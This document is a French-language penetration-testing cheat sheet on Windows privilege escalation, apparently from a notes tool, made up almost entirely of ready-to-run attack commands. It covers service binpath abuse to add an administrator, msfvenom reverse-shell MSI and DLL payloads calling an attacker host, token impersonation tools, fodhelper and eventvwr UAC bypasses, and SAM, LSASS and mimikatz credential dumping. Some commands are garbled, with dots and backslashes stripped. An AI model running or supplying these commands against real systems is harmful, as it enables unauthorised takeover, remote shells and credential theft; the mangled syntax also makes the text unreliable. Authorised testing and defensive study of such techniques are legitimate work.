privescwindowsuac
MDstable
Privilege Escalation Windows
Élévation de privilèges sur systèmes Windows
snippetadvanced 2025-05-10 2 min read
privescwindowsuactokenalwaysinstallelevated
Énumération automatique
bash
# WinPEASwinPEASx64exe# PowerUp (PowerSploit)Import-Module PowerUpps1Invoke-AllChecks# SeatbeltSeatbeltexe -group=all
Informations système
bash
systeminfowhoami /allnet usernet localgroup administrators
Services vulnérables
bash
Variables
{{SERVICE_NAME}}
{{USER}}
# Services modifiablessc qc {{SERVICE_NAME}}accesschkexe -uwcqv "Authenticated Users"# Modifier le binaire pathsc config {{SERVICE_NAME}} binpath "cmd.exe /c net localgroup administrators {{USER}} /add"sc stop {{SERVICE_NAME}}sc start {{SERVICE_NAME}}# Unquoted service pathwmic service get namedisplaynamepathnamestartmode | findstr /i "auto" | findstr /i /v "C:\Windows"
AlwaysInstallElevated
bash
Variables
{{LHOST}}
{{LPORT}}
# Vérifier les clés registryreg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevatedreg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated# Si les deux = 1, générer un MSI malveillant :msfvenom -p windows/x64/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}} -f msi -o shellmsi# Exécuter côté cible :msiexec /quiet /qn /i CTempshellmsi
Token Impersonation
bash
Variables
{{LPORT}}
# Dans meterpreter :use incognitolist_tokens -uimpersonate_token "NT AUTHORITY\\SYSTEM"# PrintSpoofer (SeImpersonatePrivilege)PrintSpoofer64exe -i -c cmd# Juicy Potato (Windows < 2019)JuicyPotatoexe -l {{LPORT}} -p cmdexe -t -c clsid# GodPotatoGodPotato-NET4.exe -cmd "cmd /c whoami"
UAC Bypass
bash
# Fodhelper bypassNew-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -ForceNew-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -ForceSet-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start cmd.exe" -ForceStart-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden# Eventvwr bypass$cmd "cmd /c start cmd.exe"New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -ForceSet-ItemProperty "HKCU:\Software\Classes\mscfile\shell\open\command" "(default)" $cmdStart-Process "eventvwr.exe"
DLL Hijacking
bash
Variables
{{LHOST}}
{{LPORT}}
{{APP}}
# Trouver des DLL manquantesprocmonexe # filtrer sur "NAME NOT FOUND" + ".dll"# Générer une DLL malveillantemsfvenom -p windows/x64/shell_reverse_tcp LHOST{{LHOST}} LPORT{{LPORT}} -f dll -o hijackdll# Copier dans le répertoire writablecopy hijackdll CProgram Files{{APP}}missingdll
Credentials stockés
bash
Variables
{{DOMAIN}}
{{USER}}
# Windows Credential Managercmdkey /list# Utiliser les creds stockésrunas /savecred /user{{DOMAIN}}{{USER}} cmdexe# SAM dump (si SYSTEM)reg save HKLMSAM CTempSAMreg save HKLMSYSTEM CTempSYSTEM# Côté attaquant :python3 impacket/secretsdump.py -sam SAM -system SYSTEM LOCAL# LSASS dumpmimikatzexeprivilegedebugsekurlsalogonpasswords# Task Scheduler credsschtasks /query /fo LIST /v | findstr /i "task\|run as"
Passwords dans les fichiers
bash
findstr /si password xml ini txt config 2>nuldir /s /b pass cred vnc config 2>nul
⚠ Attention —
Les techniques d'élévation de privilèges laissent des traces dans les event logs Windows. Documenter chaque étape pour le rapport.
OPS·BRAIN v1.075 notes · Securitylocal